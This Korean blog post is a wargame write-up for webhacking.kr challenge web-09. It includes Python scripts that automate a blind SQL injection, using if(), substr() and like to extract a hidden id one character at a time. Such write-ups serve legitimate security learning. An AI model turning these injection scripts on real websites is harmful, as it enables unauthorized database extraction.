내 예상 쿼리문
select id from table_name where no=$_GET['no']
그래서 대충 넣어보면 다 AccessDenied가 뜬다. 필터링되나봄
?no=if(0,1,0) 와 같이 넣으면 다음과 같이 뜬다.
?no=if(1,1,0)을 넣으면 다음과 같다.
blind sqli를 할 수 있겠다.
import requests
for i in range(1, 30):
URL = f"https://webhacking.kr/challenge/web-09/?no=if(length(id)like({i}),3,0)"
res = requests.get(URL)
if 'Secret' in res.text:
break
print('id length:', i)
import requests
id=""
for i in range(1,12):
for j in range(65, 123):
jj = hex(j)
url = f'https://webhacking.kr/challenge/web-09/?no=if(substr(id,{i},1)like({jj}),3,0)'
response = requests.get(url)
if 'Secret' in response.text:
id+=chr(j)
print(id)
break
print(id.lower())
절대... j의 범위를 33부터 시작하지마라.......
'워게임 > webhacking.kr' 카테고리의 다른 글
webhacking.kr old 21번(blind sql injection) (0) | 2021.10.22 |
---|---|
webhacking.kr old 12번(javascript난독화 aaencode) (0) | 2021.10.21 |
webhacking.kr old 6번 (sql injection) (0) | 2021.10.20 |
webhacking.kr old 5번 (0) | 2021.10.20 |
webhacking.kr old 3번 (simple sqli) (0) | 2021.10.19 |
댓글